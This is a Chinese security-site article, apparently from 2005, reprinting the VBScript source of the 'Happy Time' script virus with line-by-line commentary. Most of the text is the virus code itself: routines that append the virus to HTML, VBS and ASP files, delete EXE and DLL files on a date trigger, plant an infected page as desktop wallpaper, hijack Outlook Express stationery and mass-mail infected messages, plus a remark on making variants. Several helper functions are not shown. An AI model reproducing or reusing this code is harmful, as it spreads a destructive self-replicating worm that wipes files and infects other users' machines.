会员: 密码:  免费注册 | 忘记密码 | 会员登录 网页功能: 加入收藏 设为首页 网站搜索  
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
  · 杀毒专区
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
安全防线 > 黑客编程
揭密:各种各样网页病毒源码解析
发表日期:2005-07-29 10:36:49作者: 出处:CnXHacker.Net  

  Rem I am sorry! happy time
  On Error Resume Next
  Mload
  ’以上为病毒入口,并加上I am sorry! happy time的注释,以表明此文件已被感染过。

  Sub mload()
  On Error Resume Next
  mPath = Grf()
  Set Os = CreateObject("Scriptlet.TypeLib")
  Set Oh = CreateObject("Shell.Application")
  ’建立枚举对象,避开了安全审核

  If IsHTML Then
  ’调用IsHtml函数,如果是Html,就小写……

  mURL = LCase(document.Location)
  If mPath = "" Then
  Os.Reset
  Os.Path = "C:\Help.htm"
  Os.Doc = Lhtml()
  Os.Write()
  ’如果mPath为空,就在C盘下生成Help.htm

  Ihtml = ""
  ’超文本的内容,并指向C:\Help.Htm

  Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
  Else
  If Iv(mPath, "Help.vbs") Then
  setInterval "Rt()", 10000
  Else
  m = "hta"
  If LCase(m) = Right(mURL, Len(m)) Then
  id = setTimeout("mclose()", 1)
  ’设置超时条件

  main
  Else
  Os.Reset()
  Os.Path = mPath & "\" & "Help.hta"
  Os.Doc = Lhtml()
  Os.write()
  Iv mPath, "Help.hta"
  ’生成Help.hta

  End If
  End If
  End If
  Else
  Main
  ’都不是,就执行main函数

  End If
  End Sub
  主函数

  Sub main()
  On Error Resume Next
  Set Of = CreateObject("Scripting.FileSystemObject")
  ’不用说,创建FileSystemObject对象啦

  Set Od = CreateObject("Scripting.Dictionary")
  ’创建Dictionary对象, 用来保存数据键和项目对,它实际上是一个比较开放的数组

  Od.Add "html", "1100"
  Od.Add "vbs", "0100"
  Od.Add "htm", "1100"
  Od.Add "asp", "0010"
  ’向Dictionary对象添加要感染的项目对

  Ks = "HKEY_CURRENT_USER\Software\"
  ’使用变量以减少代码长度
  Ds = Grf()
  Cs = Gsf()
  If IsVbs Then
  ’如果是VBS

  If Of.FileExists("C:\help.htm") Then
  Of.DeleteFile ("C:\help.htm")
  ’如果c:\help.htm存在,就删掉,消灭遗留的痕迹

  End If
  Key = CInt(Month(Date) + Day(Date))
  If Key = 13 Then
  ’如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可)

  Od.RemoveAll
  Od.Add "exe", "0001"
  Od.Add "dll", "0001"
  ’就清空Dictionary数组,并将exe、dll加入Dictionary 对象,以备删除之用

  End If
  Cn = Rg(Ks & "Help\Count")
  ’读注册表中的HKEY_CURRENT_USER\Software\Help\Count键值

  If Cn = "" Then
  Cn = 1
  ’如果Count为0,就设为1

  End If
  Rw Ks & "Help\Count", Cn + 1
  ’添加HKEY_CURRENT_USER\Software\Help\Count键值,值为2

  f1 = Rg(Ks & "Help\FileName")
  ’再读HKEY_CURRENT_USER\Software\Help\FileName键值

  f2 = FNext(Of, Od, f1)
  ’得到该文件的文件名


  fext = GetExt(Of, Od, f2)
  ’得到该文件扩展名的代号

  Rw Ks & "Help\FileName", f2
  ’添加键值

  If IsDel(fext) Then
  ’如果扩展名代号的第四个字符为1——即0001(exe、dll)

  f3 = f2
  ’储存文件名

  f2 = FNext(Of, Od, f2)
  ’得到文件的文件名?

  Rw Ks & "Help\FileName", f2
  ’写注册表

  Of.DeleteFile f3
  ’删除文件

  Else
  If LCase(WScript.ScriptFullname) <> LCase(f2) Then
  ’如果不是集合中的文件

  Fw Of, f2, fext
  End If
  End If
  If (CInt(Cn) Mod 366) = 0 Then
  If (CInt(Second(Time)) Mod 2) = 0 Then
  ’使用 Cint函数强制执行转换,并发邮件

  Tsend
  Else
  adds = Og
  Msend (adds)
  End If
  End If
  wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
  If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
  ’比较桌面墙纸是否已改变

  If wp = "" Then
  n1 = ""
  n3 = Cs & "\Help.htm"
  Else
  mP = Of.GetFile(wp).ParentFolder
  n1 = Of.GetFileName(wp)
  n2 = Of.GetBaseName(wp)
  n3 = Cs & "\" & n2 & ".htm"
  End If
  Set pfc = Of.CreateTextFile(n3, True)
  mt = Sa("1100")
  ’创建超文本

  pfc.Write "<" & "HTML><" & "body bgcolor=’#007f7f’ background=’" & n1 & "’><
  " & "/Body><" & "/HTML>" & mt
  ’超文本的内容

  pfc.Close
  Rw Ks & "Help\wallPaper", n3
  Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
  ’将带毒的超文本设置成活动桌面

  End If
  Else
  Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)
  fc.Write Sa("0100")
  ’创建vbs文件

  fc.Close
  bf = Cs & "\Untitled.htm"
  Set fc2 = Of.CreateTextFile(bf, True)
  fc2.Write Lhtml
  fc2.Close
  ’创建windows下的untitled.htm

  oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
  oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook E
  xpress\5.0\Mail"
  MSH = oe & "\Message Send HTML"
  CUS = oe & "\Compose Use Stationery"
  SN = oe & "\Stationery Name"
  Rw MSH, 1
  Rw CUS, 1
  Rw SN, bf
  ’在Hkey_Current_User\Identities\\Software\Microsoft\Outlook Express\5.0\Mail下添加三个键值Message Send HTML 、Compose Use Stationery 和Stationery Name,前两个的值为1,后一个指向windows\untitled.htm

  Web = Cs & "\WEB"
  Set gf = Of.GetFolder(Web).Files
  ’得到windows\web文件夹里的文件

  Od.Add "htt", "1100"
  ’向Dictionary里添加htt项目对

  For Each m In gf
  ’遍历windows\web下的每一个文件

  fext = GetExt(Of, Od, m)
  ’得到每个文件的扩展名
  If fext <> "" Then
  ’如果扩展名不为空,则

  Fw Of, m, fext
  End If
  Next
  End If
  End Sub
  Sub mclose()
  document.Write "<" & "title>I am sorry!’写入I am sorry,并关闭。以此作为感染与否的标记
  window.Close
  End Sub

  ’##########################################################################
  Sub Fw(Of, S, n)
  ’此时S为文件名,n为文件扩展名

  Dim fc, fc2, m, mmail, mt
  On Error Resume Next
  Set fc = Of.OpenTextFile(S, 1)
  ’只读模式打开该文件

  mt = fc.ReadAll
  ’读入全部文件流

  fc.Close
  ’关闭文件
  If Not Sc(mt) Then
  ’如果未感染过

  mmail = Ml(mt)
  mt = Sa(n)
  Set fc2 = Of.OpenTextFile(S, 8)
  ’打开文件并在文件末尾进行写操作

  fc2.Write mt
  fc2.Close
  Msend (mmail)
  ’发带毒邮件
  End If
  End Sub

  ’############################################################
  Function Sc(S)
  mN = "Rem I am sorry! happy time"
  If InStr(S, mN) > 0 Then
  ’如果读入的文件流中有Rem I am sorry! happy time

  Sc = True
  Else
  Sc = False
  ’表示已感染过,返回True,否则为False
  End If
  End Function

  ’###########################################################
  Function FNext(Of, Od, S)
  Dim fpath, fname, fext, T, gf
  On Error Resume Next
  fname = ""
  T = False
  ’初始化变量

  If Of.FileExists(S) Then
  ’如果S存在于当前文件夹中

  fpath = Of.GetFile(S).ParentFolder
  ’得到文件的父目录名

  fname = S
  ’得到文件名

  ElseIf Of.FolderExists(S) Then
  ’不存在于当前文件夹中,则得到目录名

  fpath = S
  T = True
  Else
  fpath = Dnext(Of, "")
  ’得到当前盘符——即根目录

  End If
  Do While True
  Set gf = Of.GetFolder(fpath).Files
  ’得到当前目录下的所有文件对象

  For Each m In gf
  ’遍历每个文件

  If T Then
  If GetExt(Of, Od, m) <> "" Then
  ’如果该文件是文件集合中的一员

  FNext = m
  ’则返回该文件名,供调用的函数或过程使用——感染或删除之

  Exit Function
  End If
  ElseIf LCase(m) = LCase(fname) Or fname = "" Then
  ’如果没文件

  T = True
  End If
  Next
  fpath = Pnext(Of, fpath) ’
  Loop
  End Function

 

返回顶部】 【打印本页】 【关闭窗口

关于我们 / 给我留言 / 版权举报 / 意见建议 / 网站编程QQ群   
Copyright ©2003- 2024 Lihuasoft.net webmaster(at)lihuasoft.net 加载时间 0.00166